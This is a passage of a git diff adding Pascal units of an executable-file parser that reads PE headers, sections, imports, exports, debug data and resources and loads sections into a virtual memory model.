FDosHeader; + property Signature: Cardinal read FSignature; + property ImageHeader: TImageFileHeader read FImageHeader; + property OptHeader32: TImageOptionalHeader32 read FOptHeader32; + property OptHeader64: TImageOptionalHeader64 read FOptHeader64; + end; + +implementation + +uses + Math, PseMapFileReader, PseDebugInfo; + +const + DOS_HEADER_MZ = ((Ord('Z') shl 8) + Ord('M')); + IMG_HEADER_EP = ((Ord('E') shl 8) + Ord('P')); + +constructor TPsePeFile.Create; +begin + inherited; +end; + +destructor TPsePeFile.Destroy; +begin + inherited; +end; + +procedure TPsePeFile.SaveSectionToStream(const ASection: integer; Stream: TStream); +var + sec: TPseSection; + o, s: Int64; +begin + sec := FSections[ASection]; + o := RVAToOffset(sec.Address); + FStream.Seek(o, soFromBeginning); + s := Min(Int64(sec.Size), Int64(FStream.Size - o)); + Stream.CopyFrom(FStream, s); +end; + +function TPsePeFile.LoadFromStream(Stream: TStream): boolean; +begin + Result := inherited; + if Result then begin + FStream.Position := 0; + if (FStream.Read(FDosHeader, SizeOf(TImageDosHeader)) <> SizeOf(TImageDosHeader)) then + Exit(false); + if FDosHeader.e_magic <> DOS_HEADER_MZ then + Exit(false); + + FStream.Seek(FDosHeader._lfanew, soFromBeginning); + FStream.Read(FSignature, SizeOf(Cardinal)); + if FSignature <> IMG_HEADER_EP then + Exit(false); + + if (FStream.Read(FImageHeader, SizeOf(TImageFileHeader)) <> SizeOf(TImageFileHeader)) then + Exit(false); + + case FImageHeader.Machine of + IMAGE_FILE_MACHINE_I386: + begin + FBitness := pseb32; + if (FStream.Read(FOptHeader32, SizeOf(TImageOptionalHeader32)) <> SizeOf(TImageOptionalHeader32)) then + Exit(false); + end; + IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_IA64: + begin + FBitness := pseb64; + if (FStream.Read(FOptHeader64, SizeOf(TImageOptionalHeader64)) <> SizeOf(TImageOptionalHeader64)) then + Exit(false); + end; + end; + ReadSections; + ReadExports; + ReadImports; + ReadDelayImports; + if FReadDebugInfo then begin + ReadDebugDirectory; + ReadMapFile; + end; + end; +end; + +procedure TPsePeFile.ReadDebugDirectory; +var + debug_rva, offset: UInt64; + debug_dir: TImageDebugDirectory; + ansi_name: array[0..260] of AnsiChar; + wide_name: array[0..260] of WideChar; + debug_misc: TImageDebugMisc; + coff_header: TImageCOFFSymbolsHeader; +begin + if Is64 then begin + debug_rva := RVAToOffset(FOptHeader64.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress); + end else begin + debug_rva := RVAToOffset(FOptHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress); + end; + if debug_rva = 0 then + Exit; + + FStream.Seek(debug_rva, soFromBeginning); + if (FStream.Read(debug_dir, SizeOf(TImageDebugDirectory)) <> SizeOf(TImageDebugDirectory)) then + Exit; + + case debug_dir._Type of + IMAGE_DEBUG_TYPE_UNKNOWN: + Exit; + IMAGE_DEBUG_TYPE_COFF: + begin + // http://waleedassar.blogspot.co.at/search/label/IMAGE_DEBUG_TYPE_COFF + offset := debug_dir.PointerToRawData; + FStream.Seek(offset, soFromBeginning); + FStream.Read(coff_header, SizeOf(TImageCOFFSymbolsHeader)); + end; + IMAGE_DEBUG_TYPE_CODEVIEW: + begin + end; + IMAGE_DEBUG_TYPE_FPO: ; + IMAGE_DEBUG_TYPE_MISC: + begin + offset := debug_dir.PointerToRawData; + FStream.Seek(offset, soFromBeginning); + FStream.Read(debug_misc, SizeOf(TImageDebugMisc)); + FStream.Seek(offset + SizeOf(TImageDebugMisc) - 1, soFromBeginning); + if debug_misc.Unicode then begin + FStream.Read(wide_name, debug_misc.Length); + end else begin + FStream.Read(ansi_name, debug_misc.Length); + end; + end; + IMAGE_DEBUG_TYPE_EXCEPTION: ; + else + Exit; + end; + +// offset := debug_dir.PointerToRawData; +// FStream.Seek(offset, soFromBeginning); +// FStream.Read(arr, Min(256, debug_dir.SizeOfData)); +end; + +procedure TPsePeFile.ReadMapFile; +var + fn: string; + reader: TPseMapFileReader; + dii: TDebugInfoItem; +begin + if FFileName <> '' then begin + fn := ChangeFileExt(FFileName, '.map'); + if FileExists(fn) then begin + reader := TPseMapFileReader.Create(fn); + try + while reader.GetNext(dii) do begin + FDebugInfo.Add(dii); + end; + finally + reader.Free; + end; + end; + end; +end; + +procedure TPsePeFile.ReadSections; +var + i: integer; + sech: TImageSectionHeader; + sec: TPseSection; + secname: AnsiString; + attribs: TSectionAttribs; +begin + FSections.Clear; + for i := 0 to FImageHeader.NumberOfSections - 1 do begin + if (FStream.Read(sech, SizeOf(TImageSectionHeader)) <> SizeOf(TImageSectionHeader)) then + Break; + attribs := []; + sec := FSections.New; + sec.Address := sech.VirtualAddress; + sec.PointerToRawData := sech.PointerToRawData; + sec.Size := sech.Misc.VirtualSize; + sec.OrigAttribs := sech.Characteristics; + secname := StrPas(PAnsiChar(@sech.Name)); + sec.Name := {$ifdef FPC}UTF8Decode{$else}UTF8ToString{$endif}(secname); + if (sech.Characteristics and IMAGE_SCN_CNT_CODE) = IMAGE_SCN_CNT_CODE then + Include(attribs, saCode); + if (sech.Characteristics and IMAGE_SCN_CNT_INITIALIZED_DATA) = IMAGE_SCN_CNT_INITIALIZED_DATA then + Include(attribs, saInitializedData); + if (sech.Characteristics and IMAGE_SCN_CNT_UNINITIALIZED_DATA) = IMAGE_SCN_CNT_UNINITIALIZED_DATA then + Include(attribs, saData); + if (sech.Characteristics and IMAGE_SCN_MEM_EXECUTE) = IMAGE_SCN_MEM_EXECUTE then + Include(attribs, saExecuteable); + if (sech.Characteristics and IMAGE_SCN_MEM_READ) = IMAGE_SCN_MEM_READ then + Include(attribs, saReadable); + if (sech.Characteristics and IMAGE_SCN_MEM_WRITE) = IMAGE_SCN_MEM_WRITE then + Include(attribs, saWriteable); + + sec.Attribs := attribs; + end; + for i := 0 to FSections.Count - 1 do begin + sec := FSections[i]; + sec.FileOffset := RVAToOffset(sec.Address); + end; +end; + +procedure TPsePeFile.ReadExports; +var + export_rva, offset: UInt64; + expo: TImageExportDirectory; + i: integer; + expor: TPseExport; + name: array[0..255] of AnsiChar; + names: array[0..MAXWORD-1] of Cardinal; + ordinals: array[0..MAXWORD-1] of Word; + funcs: array[0..MAXWORD-1] of Cardinal; +begin + FExports.Clear; + if Is64 then begin + export_rva := RVAToOffset(FOptHeader64.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + end else begin + export_rva := RVAToOffset(FOptHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + end; + if export_rva = 0 then + // File has no exports + Exit; + + FStream.Seek(export_rva, soFromBeginning); + if (FStream.Read(expo, SizeOf(TImageExportDirectory)) <> SizeOf(TImageExportDirectory)) then + Exit; + + FExports.NumNames := expo.NumberOfNames; + FExports.NumFuncs := expo.NumberOfFunctions; + FExports.Base := expo.Base; + + offset := RVAToOffset(expo.Name); + FStream.Seek(offset, soFromBeginning); + FillChar(name, 256, 0); + FStream.Read(name, 256); + FExports.Name := string(StrPas(PAnsiChar(@name))); + + offset := RVAToOffset(expo.AddressOfFunctions); + FStream.Seek(offset, soFromBeginning); + FStream.Read(funcs, FExports.NumFuncs * SizeOf(Cardinal)); + + offset := RVAToOffset(expo.AddressOfNames); + FStream.Seek(offset, soFromBeginning); + FStream.Read(names, FExports.NumNames * SizeOf(Cardinal)); + + offset := RVAToOffset(expo.AddressOfNameOrdinals); + FStream.Seek(offset, soFromBeginning); + FStream.Read(ordinals, FExports.NumFuncs * SizeOf(Word)); + + for i := 0 to FExports.NumFuncs - 1 do begin + expor := FExports.New; + if i < FExports.NumNames then begin + FillChar(name, 256, 0); + offset := RVAToOffset(names[i]); + FStream.Seek(offset, soFromBeginning); + FStream.Read(name, 256); + expor.Name := string(StrPas(PAnsiChar(@name))); + expor.Ordinal := ordinals[i]; + end else begin + expor.Name := '(No name)'; + expor.Ordinal := i; + end; + expor.Address := funcs[expor.Ordinal]; + expor.Ordinal := expor.Ordinal + 1; + end; +end; + +procedure TPsePeFile.ReadDelayImports; +var + impo_list: TList; + + procedure AddToImpo(impo: TImgDelayDescr); + var + pi: PImgDelayDescr; + begin + New(pi); + Move(impo, pi^, SizeOf(TImgDelayDescr)); + impo_list.Add(pi); + end; +var + import_rva, offset: UInt64; + did: TImgDelayDescr; + pimpo: PImgDelayDescr; + i: integer; + name: array[0..255] of AnsiChar; + import_obj: TPseImport; + thunk64: TImageThunkData64; + thunk32: TImageThunkData32; + stream_pos: Int64; + imp_api: TPseApi; + name_hint: Word; +begin + if Is64 then begin + import_rva := RVAToOffset(FOptHeader64.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].VirtualAddress); + end else begin + import_rva := RVAToOffset(FOptHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].VirtualAddress); + end; + if (import_rva = 0) then + Exit; + + impo_list := TList.Create; + try + FStream.Seek(import_rva, soFromBeginning); + if (FStream.Read(did, SizeOf(TImgDelayDescr)) <> SizeOf(TImgDelayDescr)) then + Exit; + + while (did.rvaDLLName <> 0) do begin + AddToImpo(did); + if (FStream.Read(did, SizeOf(TImgDelayDescr)) <> SizeOf(TImgDelayDescr)) then + Break; + end; + + for i := 0 to impo_list.Count - 1 do begin + offset := RVAToOffset(PImgDelayDescr(impo_list[i])^.rvaDLLName); + if offset = 0 then + Continue; + + import_obj := FImports.New; + import_obj.DelayLoad := true; + FillChar(name, 256, 0); + FStream.Seek(offset, soFromBeginning); + FStream.Read(name, 256); + import_obj.DllName := string(StrPas(PAnsiChar(@name))); + + offset := RVAToOffset(PImgDelayDescr(impo_list[i])^.rvaINT); + FStream.Seek(offset, soFromBeginning); + if Is64 then begin + FStream.Read(thunk64, SizeOf(TImageThunkData64)); + while thunk64._Function <> 0 do begin + imp_api := import_obj.New; + stream_pos := FStream.Position; + FStream.Seek(RVAToOffset(thunk64.AddressOfData), soFromBeginning); + FStream.Read(name_hint, SizeOf(Word)); + imp_api.Hint := name_hint; + if (thunk64.Ordinal and IMAGE_ORDINAL_FLAG64) = 0 then begin + FillChar(name, 256, 0); + FStream.Read(name, 256); + imp_api.Name := string(StrPas(PAnsiChar(@name))); + end; + imp_api.Address := thunk64._Function; + FStream.Position := stream_pos; + FStream.Read(thunk64, SizeOf(TImageThunkData64)); + end; + end else begin + FStream.Read(thunk32, SizeOf(TImageThunkData32)); + while thunk32._Function <> 0 do begin + imp_api := import_obj.New; + stream_pos := FStream.Position; + FStream.Seek(RVAToOffset(thunk32.AddressOfData), soFromBeginning); + FStream.Read(name_hint, SizeOf(Word)); + imp_api.Hint := name_hint; + if (thunk32.Ordinal and IMAGE_ORDINAL_FLAG32) = 0 then begin + FillChar(name, 256, 0); + FStream.Read(name, 256); + imp_api.Name := string(StrPas(PAnsiChar(@name))); + end; + imp_api.Address := (thunk32._Function); + + FStream.Position := stream_pos; + FStream.Read(thunk32, SizeOf(TImageThunkData32)); + end; + + end; + end; + finally + for i := 0 to impo_list.Count - 1 do begin + pimpo := PImgDelayDescr(impo_list[i]); + Dispose(pimpo); + end; + impo_list.Free + end; +end; + +procedure TPsePeFile.ReadImports; +var + impo_list: TList; + + procedure AddToImpo(impo: TImageImportDescriptor); + var + pi: PImageImportDescriptor; + begin + New(pi); + Move(impo, pi^, SizeOf(TImageImportDescriptor)); + impo_list.Add(pi); + end; + +var + import_rva, offset: UInt64; + impo: TImageImportDescriptor; + pimpo: PImageImportDescriptor; + name_hint: Word; + i: integer; + name: array[0..255] of AnsiChar; + import_obj: TPseImport; + imp_api: TPseApi; + api_names: Cardinal; + thunk64: TImageThunkData64; + thunk32: TImageThunkData32; + stream_pos: Int64; +begin + FImports.Clear; + if Is64 then begin + import_rva := RVAToOffset(FOptHeader64.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); + end else begin + import_rva := RVAToOffset(FOptHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); + end; + if (import_rva = 0) then + // Hm, really no imports + Exit; + + impo_list := TList.Create; + try + FStream.Seek(import_rva, soFromBeginning); + if (FStream.Read(impo, SizeOf(TImageImportDescriptor)) <> SizeOf(TImageImportDescriptor)) then + Exit; + while ((impo.FirstThunk <> 0) and (impo.Name <> 0)) do begin + AddToImpo(impo); + if (FStream.Read(impo, SizeOf(TImageImportDescriptor)) <> SizeOf(TImageImportDescriptor)) then + Break; + end; + + for i := 0 to impo_list.Count - 1 do begin + import_obj := FImports.New; + offset := RVAToOffset(PImageImportDescriptor(impo_list[i])^.Name); + FillChar(name, 256, 0); + FStream.Seek(offset, soFromBeginning); + FStream.Read(name, 256); + import_obj.DllName := string(StrPas(PAnsiChar(@name))); + import_obj.IatRva := PImageImportDescriptor(impo_list[i])^.FirstThunk; + + if PImageImportDescriptor(impo_list[i])^.OriginalFirstThunk <> 0 then + begin + api_names := PImageImportDescriptor(impo_list[i])^.OriginalFirstThunk; + end + else + begin + api_names := PImageImportDescriptor(impo_list[i])^.FirstThunk; + end; + + if RVAToOffset(api_names) <> 0 then + api_names := RVAToOffset(api_names); + + FStream.Seek(api_names, soFromBeginning); + if Is64 then begin + FStream.Read(thunk64, SizeOf(TImageThunkData64)); + while thunk64._Function <> 0 do begin + imp_api := import_obj.New; + stream_pos := FStream.Position; + FStream.Seek(RVAToOffset(thunk64.AddressOfData), soFromBeginning); + FStream.Read(name_hint, SizeOf(Word)); + imp_api.Hint := name_hint; + if (thunk64.Ordinal and IMAGE_ORDINAL_FLAG64) = 0 then begin + FillChar(name, 256, 0); + FStream.Read(name, 256); + imp_api.Name := string(StrPas(PAnsiChar(@name))); + end; + imp_api.Address := thunk64._Function; + FStream.Position := stream_pos; + FStream.Read(thunk64, SizeOf(TImageThunkData64)); + end; + end else begin + FStream.Read(thunk32, SizeOf(TImageThunkData32)); + while thunk32._Function <> 0 do begin + imp_api := import_obj.New; + stream_pos := FStream.Position; + FStream.Seek(RVAToOffset(thunk32.AddressOfData), soFromBeginning); + FStream.Read(name_hint, SizeOf(Word)); + imp_api.Hint := name_hint; + if (thunk32.Ordinal and IMAGE_ORDINAL_FLAG32) = 0 then begin + FillChar(name, 256, 0); + FStream.Read(name, 256); + imp_api.Name := string(StrPas(PAnsiChar(@name))); + end; + imp_api.Address := (thunk32._Function); + + FStream.Position := stream_pos; + FStream.Read(thunk32, SizeOf(TImageThunkData32)); + end; + end; + end; + finally + for i := 0 to impo_list.Count - 1 do begin + pimpo := PImageImportDescriptor(impo_list[i]); + Dispose(pimpo); + end; + impo_list.Free; + end; +end; + +function TPsePeFile.RVAToOffset(const RVA: UInt64): UInt64; +var + r: UInt64; + i: integer; +begin + r := RVA; + if (r > GetSizeOfImage) then begin + if (r > GetImageBase) then begin + Dec(r, GetImageBase); + if (r > GetSizeOfImage) then + Exit(0); + end else + Exit(0); + end; + + for i := 0 to FImageHeader.NumberOfSections - 1 do begin + if (r >= FSections[i].Address) and (r < (FSections[i].Address + FSections[i].Size)) then + Exit(r - FSections[i].Address + FSections[i].PointerToRawData); + end; + if r > 0 then + begin + Result := r; + end + else + Result := 0; +end; + +function TPsePeFile.GetCodeSection(out AAddr, ASize: UInt64): boolean; +var + i: integer; + sec: TPseSection; +begin + for i := 0 to FSections.Count - 1 do begin + sec := FSections[i]; + if (saCode in sec.Attribs) and (saExecuteable in sec.Attribs) then begin + AAddr := sec.Address; + ASize := sec.Size; + Exit(true); + end; + end; + Result := false; +end; + +function TPsePeFile.GetInitStackSize: UInt64; +begin + case FImageHeader.Machine of + IMAGE_FILE_MACHINE_I386: + begin + Result := FOptHeader32.SizeOfStackCommit; + end; + IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_IA64: + begin + Result := FOptHeader64.SizeOfStackCommit; + end; + else + Result := inherited; + end; +end; + +function TPsePeFile.GetMaxStackSize: UInt64; +begin + case FImageHeader.Machine of + IMAGE_FILE_MACHINE_I386: + begin + Result := FOptHeader32.SizeOfStackReserve; + end; + IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_IA64: + begin + Result := FOptHeader64.SizeOfStackReserve; + end; + else + Result := inherited; + end; +end; + +function TPsePeFile.GetInitHeapSize: UInt64; +begin + case FImageHeader.Machine of + IMAGE_FILE_MACHINE_I386: + begin + Result := FOptHeader32.SizeOfHeapCommit; + end; + IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_IA64: + begin + Result := FOptHeader64.SizeOfHeapCommit; + end; + else + Result := inherited; + end; +end; + +function TPsePeFile.GetMaxHeapSize: UInt64; +begin + case FImageHeader.Machine of + IMAGE_FILE_MACHINE_I386: + begin + Result := FOptHeader32.SizeOfHeapReserve; + end; + IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_IA64: + begin + Result := FOptHeader64.SizeOfHeapReserve; + end; + else + Result := inherited; + end; +end; + +function TPsePeFile.GetFirstAddr: UInt64; +var + addr, size: UInt64; +begin + if GetCodeSection(addr, size) then begin + Result := addr + GetImageBase; + end else + Result := 0; +end; + +function TPsePeFile.GetImageBase: UInt64; +begin + case FImageHeader.Machine of + IMAGE_FILE_MACHINE_I386: + begin + Result := FOptHeader32.ImageBase; + end; + IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_IA64: + begin + Result := FOptHeader64.ImageBase; + end; + else + Result := 0; + end; +end; + +function TPsePeFile.GetSizeOfImage: Cardinal; +begin + case FImageHeader.Machine of + IMAGE_FILE_MACHINE_I386: + begin + Result := FOptHeader32.SizeOfImage; + end; + IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_IA64: + begin + Result := FOptHeader64.SizeOfImage; + end; + else + Result := 0; + end; +end; + +function TPsePeFile.GetNumberOfSections: Cardinal; +begin + Result := FImageHeader.NumberOfSections; +end; + +function TPsePeFile.GetEntryPoint: UInt64; +begin + case FImageHeader.Machine of + IMAGE_FILE_MACHINE_I386: + begin + Result := UInt64(FOptHeader32.AddressOfEntryPoint) + UInt64(FOptHeader32.ImageBase); + end; + IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_IA64: + begin + Result := FOptHeader64.AddressOfEntryPoint + FOptHeader64.ImageBase; + end; + else + Result := 0; + end; +end; + +function TPsePeFile.GetArch: TPseArch; +begin + case FImageHeader.Machine of + IMAGE_FILE_MACHINE_I386, + IMAGE_FILE_MACHINE_AMD64: + begin + Result := pseaX86; + end; + IMAGE_FILE_MACHINE_R3000, + IMAGE_FILE_MACHINE_R4000, + IMAGE_FILE_MACHINE_R10000: + begin + Result := pseaMIPS; + end; + IMAGE_FILE_MACHINE_POWERPC: + begin + Result := pseaPPC; + end + else + Result := pseaUnknown; + end; +end; + +function TPsePeFile.GetMode: TPseMode; +begin + case FImageHeader.Machine of + IMAGE_FILE_MACHINE_I386: + begin + Result := [psem32]; + end; + IMAGE_FILE_MACHINE_AMD64, + IMAGE_FILE_MACHINE_IA64: + begin + Result := [psem64]; + end; + else + Result := []; + end; +end; + +function TPsePeFile.GetMachineString: string; +begin + Result := PsePe.GetMachineString(FImageHeader.Machine); +end; + +function TPsePeFile.GetCharacteristicsString: string; +begin + Result := PsePe.GetCharacteristicsString(FImageHeader.Characteristics); +end; + +function TPsePeFile.GetSubsystemString: string; +var + ssys: Word; +begin + if Is64 then + ssys := FOptHeader64.Subsystem + else + ssys := FOptHeader32.Subsystem; + Result := PsePe.GetSubsystemString(ssys); +end; + +function TPsePeFile.GetFriendlyName: string; +begin + Result := 'PE'; + if Is64 then + Result := Result + '64' + else + Result := Result + '32'; +end; + +initialization + +end. diff --git a/Core/pesp/PsePeLoader.pas b/Core/pesp/PsePeLoader.pas new file mode 100644 index 0000000..fa5ce5a --- /dev/null +++ b/Core/pesp/PsePeLoader.pas @@ -0,0 +1,55 @@ +unit PsePeLoader; + +interface + +uses + Classes, PseImgLoader, PseSection, PseVirtMem; + +type + TPsePeLoader = class(TPseImgLoader) + private + procedure LoadSection(AMem: TPseVirtMem; ASection: TPseSection); + public + procedure Load(AMem: TPseVirtMem); override; + end; + +implementation + +procedure TPsePeLoader.Load(AMem: TPseVirtMem); +var + i: integer; +begin + for i := 0 to FFile.Sections.Count - 1 do begin + LoadSection(AMem, FFile.Sections[i]); + end; +end; + +procedure TPsePeLoader.LoadSection(AMem: TPseVirtMem; ASection: TPseSection); +var + seg: TPseMemSegment; + flags: TPseMemFlags; + ms: TMemoryStream; +begin + flags := []; + if (saReadable in ASection.Attribs) then + Include(flags, pmfRead); + if (saWriteable in ASection.Attribs) then + Include(flags, pmfWrite); + if (saExecuteable in ASection.Attribs) then + Include(flags, pmfExecute); + if flags <> [] then begin + seg := AMem.CreateSegment(ASection.Name, ASection.Address, + ASection.Size, [pmfWrite]); + ms := TMemoryStream.Create; + try + ASection.SaveToStream(ms); + ms.Position := 0; + seg.Write(ASection.Address, ms.Memory^, ASection.Size); + finally + ms.Free; + end; + seg.Flags := flags; + end; +end; + +end. diff --git a/Core/pesp/PseRawFile.pas b/Core/pesp/PseRawFile.pas new file mode 100644 index 0000000..f609148 --- /dev/null +++ b/Core/pesp/PseRawFile.pas @@ -0,0 +1,88 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseRawFile; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, PseFile, PseSection, PseCmn; + +type + TPseRawFile = class(TPseFile) + private + protected + public + function LoadFromStream(Stream: TStream): boolean; override; + procedure SaveSectionToStream(const ASection: integer; Stream: TStream); override; + function GetEntryPoint: UInt64; override; + function GetFirstAddr: UInt64; override; + function GetArch: TPseArch; override; + function GetMode: TPseMode; override; + function GetFriendlyName: string; override; + end; + +implementation + +function TPseRawFile.LoadFromStream(Stream: TStream): boolean; +var + sec: TPseSection; +begin + Result := inherited; + FStream.Position := 0; + sec := FSections.New; + sec.Address := 0; + sec.Size := FStream.Size; + sec.FileOffset := 0; + // Assume its code + sec.Attribs := [saCode]; + if FFilename <> '' then + sec.Name := ExtractFileName(FFilename) + else + sec.Name := '(No name)'; +end; + +function TPseRawFile.GetFirstAddr: UInt64; +begin + Result := 0; +end; + +procedure TPseRawFile.SaveSectionToStream(const ASection: integer; Stream: TStream); +var + sec: TPseSection; +begin + sec := FSections[ASection]; + FStream.Position := sec.Address; + Stream.CopyFrom(FStream, sec.Size); +end; + +function TPseRawFile.GetEntryPoint: UInt64; +begin + Result := 0; +end; + +function TPseRawFile.GetArch: TPseArch; +begin + Result := pseaUnknown; +end; + +function TPseRawFile.GetMode: TPseMode; +begin + Result := []; +end; + +function TPseRawFile.GetFriendlyName: string; +begin + Result := 'Raw binary'; +end; + +initialization + +end. diff --git a/Core/pesp/PseResource.pas b/Core/pesp/PseResource.pas new file mode 100644 index 0000000..ebb589d --- /dev/null +++ b/Core/pesp/PseResource.pas @@ -0,0 +1,177 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseResource; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, +{$ifdef FPC} + fgl +{$else} + Generics.Collections +{$endif} + ; + +type + TPseResource = class; + + TPseResourceList = class({$ifdef FPC}TFPGList{$else}TList{$endif}<TPseResource>) + private + FOwner: TObject; + public + constructor Create(AOwner: TObject); + destructor Destroy; override; + procedure Clear; + function New: TPseResource; + function GetById(const AId: Integer): TPseResource; + end; + + TPseResource = class + private + FOwner: TPseResourceList; + FResId: Integer; + FResType: Integer; + // File offset + FOffset: Cardinal; + FSize: Cardinal; + public + constructor Create(AOwner: TPseResourceList); + + function GetWinType: Word; + function GetWinTypeString: string; + procedure SaveToStream(Stream: TStream); + + property ResId: Integer read FResId write FResId; + property ResType: integer read FResType write FResType; + property Offset: Cardinal read FOffset write FOffset; + property Size: Cardinal read FSize write FSize; + end; + +const + // Predefined Windows Resource Types + WIN_RT_NONE = 0; + WIN_RT_CURSOR = 1; + WIN_RT_BITMAP = 2; + WIN_RT_ICON = 3; + WIN_RT_MEMU = 4; + WIN_RT_DIALOG = 5; + WIN_RT_STRING = 6; + WIN_RT_FONTDIR = 7; + WIN_RT_FONT = 8; + WIN_RT_ACCELERATOR = 9; + WIN_RT_RCDATA = 10; + WIN_RT_MESSAGETABLE = 11; + WIN_RT_GROUP_CURSOR = WIN_RT_CURSOR + 11; + WIN_RT_GROUP_ICON = WIN_RT_ICON + 11; + WIN_RT_VERSION = 16; + WIN_RT_DLGINCLUDE = 17; + WIN_RT_PLUGPLAY = 19; + WIN_RT_VXD = 20; + WIN_RT_ANICURSOR = 21; + WIN_RT_ANIICON = 22; + WIN_RT_HTML = 23; + WIN_RT_MANIFEST = 24; + + WIN_TYPE_STRING: array[WIN_RT_NONE..WIN_RT_MANIFEST] of string = ('No type', + 'RT_CURSOR', 'RT_BITMAP', 'RT_ICON', 'RT_MENU', 'RT_DIALOG', 'RT_STRING', + 'RT_FONTDIR', 'RT_FONT', 'RT_ACCELERATOR', 'RT_RCDATA', 'RT_MESSAGETABLE', 'RT_GROUP_CURSOR', '(13 ?)', 'RT_GROUP_ICON', '(15 ?)', + 'RT_VERSION', 'RT_DLGINCLUDE', '(18 ?)', 'RT_PLUGPLAY', 'RT_VXD', 'RT_ANICURSOR', + 'RT_ANIICON', 'RT_HTML', 'RT_MANIFEST' + ); + +implementation + +uses + PseFile, Math; + +type + TPseFileAccess = class(TPseFile); + +{ TPseResource } + +constructor TPseResource.Create(AOwner: TPseResourceList); +begin + inherited Create; + FOwner := AOwner; +end; + +function TPseResource.GetWinType: Word; +begin + Result := FResType and $FFF; +end; + +function TPseResource.GetWinTypeString: string; +var + wt: Word; +begin + wt := GetWinType; + if (wt <= WIN_RT_MANIFEST) then + Result := WIN_TYPE_STRING[wt] + else + Result := 'Custom'; +end; + +procedure TPseResource.SaveToStream(Stream: TStream); +var + s: TStream; + o, sz: Int64; +begin + s := TPseFileAccess(FOwner.FOwner).FStream; + o := FOffset; + sz := Min(Int64(FSize), Int64(s.Size - o)); + s.Seek(o, soFromBeginning); + Stream.CopyFrom(s, sz); +end; + +{ TPseResourceList } + +procedure TPseResourceList.Clear; +var + i: integer; +begin + for i := 0 to Count - 1 do + Items[i].Free; + inherited; +end; + +constructor TPseResourceList.Create(AOwner: TObject); +begin + inherited Create; + FOwner := AOwner; +end; + +destructor TPseResourceList.Destroy; +begin + Clear; + inherited; +end; + +function TPseResourceList.GetById(const AId: Integer): TPseResource; +var + i: integer; +begin + for i := 0 to Count - 1 do begin + if Items[i].FResId = AId then begin + Result := Items[i]; + Exit; + end; + end; + Result := nil; +end; + +function TPseResourceList.New: TPseResource; +begin + Result := TPseResource.Create(Self); + Add(Result); +end; + +end. diff --git a/Core/pesp/PseSection.pas b/Core/pesp/PseSection.pas new file mode 100644 index 0000000..4e03d68 --- /dev/null +++ b/Core/pesp/PseSection.pas @@ -0,0 +1,129 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseSection; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, +{$ifdef FPC} + fgl +{$else} + Generics.Collections +{$endif} + ; + +type + TPseSection = class; + + TPseSectionList = class({$ifdef FPC}TFPGList{$else}TList{$endif}<TPseSection>) + private + FOwner: TObject; + public + constructor Create(AOwner: TObject); + destructor Destroy; override; + procedure Clear; + function New: TPseSection; + end; + + TSectionAttrib = (saCode, saExecuteable, saReadable, saWriteable, saData, saInitializedData, + saStringTable, saSymbolTable, saNull); + TSectionAttribs = set of TSectionAttrib; + TPseSection = class + private + FOwner: TPseSectionList; + FAddress: UInt64; + FPointerToRawData: UInt64; + FSize: UInt64; + FName: string; + FOrigAttribs: Cardinal; + FAttribs: TSectionAttribs; + FIndex: integer; + FFileOffset: Int64; + FNameIndex: Cardinal; + FElfType: Cardinal; + public + constructor Create(AOwner: TPseSectionList); + procedure SaveToFile(const AFilename: string); + procedure SaveToStream(Stream: TStream); + + property Address: UInt64 read FAddress write FAddress; + property PointerToRawData: UInt64 read FPointerToRawData write FPointerToRawData; + property Size: UInt64 read FSize write FSize; + property Name: string read FName write FName; + // Original Flags, Characteristics in ELF, PE file + property OrigAttribs: Cardinal read FOrigAttribs write FOrigAttribs; + property Attribs: TSectionAttribs read FAttribs write FAttribs; + property FileOffset: Int64 read FFileOffset write FFileOffset; + property NameIndex: Cardinal read FNameIndex write FNameIndex; + property ElfType: Cardinal read FElfType write FElfType; + property Index: integer read FIndex; + end; + +implementation + +uses + PseFile; + +procedure TPseSectionList.Clear; +var + i: integer; +begin + for i := 0 to Count - 1 do + Items[i].Free; + inherited; +end; + +constructor TPseSectionList.Create(AOwner: TObject); +begin + inherited Create; + FOwner := AOwner; +end; + +destructor TPseSectionList.Destroy; +begin + Clear; + inherited; +end; + +function TPseSectionList.New: TPseSection; +begin + Result := TPseSection.Create(Self); + Result.FIndex := Add(Result); +end; + +constructor TPseSection.Create(AOwner: TPseSectionList); +begin + inherited Create; + FOwner := AOwner; + FFileOffset := -1; +end; + +procedure TPseSection.SaveToFile(const AFilename: string); +var + fs: TFileStream; +begin + fs := TFileStream.Create(AFilename, fmCreate); + try + SaveToStream(fs); + finally + fs.Free; + end; +end; + +procedure TPseSection.SaveToStream(Stream: TStream); +begin + if (FOwner.FOwner is TPseFile) then begin + (FOwner.FOwner as TPseFile).SaveSectionToStream(FIndex, Stream); + end; +end; + +end. diff --git a/Core/pesp/PseVirtMem.pas b/Core/pesp/PseVirtMem.pas new file mode 100644 index 0000000..976fbf5 --- /dev/null +++ b/Core/pesp/PseVirtMem.pas @@ -0,0 +1,262 @@ +unit PseVirtMem; + 